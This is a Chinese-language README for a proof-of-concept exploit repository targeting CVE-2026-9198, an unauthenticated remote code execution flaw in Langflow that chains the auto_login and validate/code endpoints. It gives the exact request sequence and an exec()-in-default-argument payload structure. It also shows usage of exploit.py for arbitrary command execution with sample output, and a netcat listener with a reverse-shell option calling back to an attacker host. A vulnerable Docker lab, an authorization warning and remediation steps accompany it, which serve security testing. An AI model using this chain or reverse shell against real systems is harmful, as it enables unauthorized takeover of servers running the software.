CVE-2026-9198 的概念验证漏洞利用程序,该漏洞是 IBM Langflow OSS 中的一个未认证远程代码执行(RCE)漏洞,通过串联 auto_login 和 validate/code 端点实现。包含一个易受攻击的 Docker 实验环境,用于授权测试和教育目的。
针对 CVE-2026-9198 的概念验证漏洞利用程序及自包含 Docker 实验环境,该漏洞是 IBM Langflow OSS 中的一个未认证远程代码执行漏洞。
该漏洞利用程序串联两个端点——auto_login(向任何人发放 SUPERUSER 令牌)和 validate/code(运行攻击者提供的 Python 代码)——以 Langflow 服务用户身份实现代码执行,无需任何凭据。
[!WARNING] 仅限授权的安全测试和教育用途。 请仅针对您拥有或已获得明确书面许可进行测试的系统运行此程序。本仓库中的 Docker 实验环境是故意存在漏洞的——请将其保留在您的机器上,切勿暴露到互联网。您需对使用此代码的方式负责。
| CVE | CVE-2026-9198 |
| 产品 | IBM Langflow OSS |
| 受影响版本 | 1.0.0 – 1.10.0 |
| 修复版本 | 1.10.1 |
| CVSS 3.1 | 9.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — 对代码生成的错误控制('代码注入') |
| CISA KEV | 是 — 已知被野外利用 |
该漏洞利用程序是一个无需认证的两步串联攻击:
GET /api/v1/auto_loginLangflow 默认启用 LANGFLOW_AUTO_LOGIN。启用后,auto_login 端点会向任何调用者签发长期有效的 SUPERUSER JWT,无需任何凭据:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/code自 1.3.0 起,该端点要求认证(这是针对 CVE-2025-3248 的修复)——但步骤 1 刚刚为我们提供了有效的 SUPERUSER 令牌,因此该认证门槛形同虚设。在内部,该端点调用 validate_code(),它会编译并运行接收到的每个函数定义:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- 运行该 def
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- 输出在此处回传
执行 def 语句会计算其默认参数值。因此,默认参数为 exec("...") 的函数在验证时就会立即运行任意代码——该函数甚至从未被调用。任何引发的异常都会被捕获并返回到响应中的 function.errors 字段下,漏洞利用程序正是通过该字段经 HTTP 读取命令输出。
载荷结构(命令经过 base64 包装以规避引号问题):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # PoC(命令执行 + 反弹 Shell)
├── docker-compose.yml # 漏洞实验环境:langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests(pip install -r requirements.txt)docker compose up -d
Langflow 首次启动需要一两分钟才能就绪。请等待其响应:
curl -fs http://127.0.0.1:9999/health && echo OK
该服务特意绑定到 127.0.0.1:9999——无法从您的网络外部访问。
安装依赖,然后将漏洞利用程序指向实验环境。
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
示例输出:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
任何命令均可执行:--cmd "uname -a && whoami && cat /etc/os-release"。
启动监听器:
nc -lvnp 4444
然后发送载荷。当目标在同一台机器上的 Docker 中运行时,容器可通过 host.docker.internal 访问您的主机(Docker Desktop);对于真实目标,请使用您的可路由 IP:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
您将在监听器上获得一个以 langflow 用户身份运行的交互式 /bin/sh。
| 标志 | 说明 |
|---|---|
--url | 目标基础 URL(必填) |
--cmd | 要执行的命令(默认 id) |
--reverse-shell | 发送反弹 Shell 而非运行 --cmd |
--lhost / --lport | 反弹 Shell 回调主机和端口 |
--token | 使用提供的 bearer 令牌并跳过 auto_login |
--timeout | 每次请求的超时时间,秒(默认 15) |
--insecure | 跳过 TLS 验证(用于 https 目标) |
LANGFLOW_AUTO_LOGIN=false,并设置真实的超级用户凭据。validate/code 代码注入漏洞)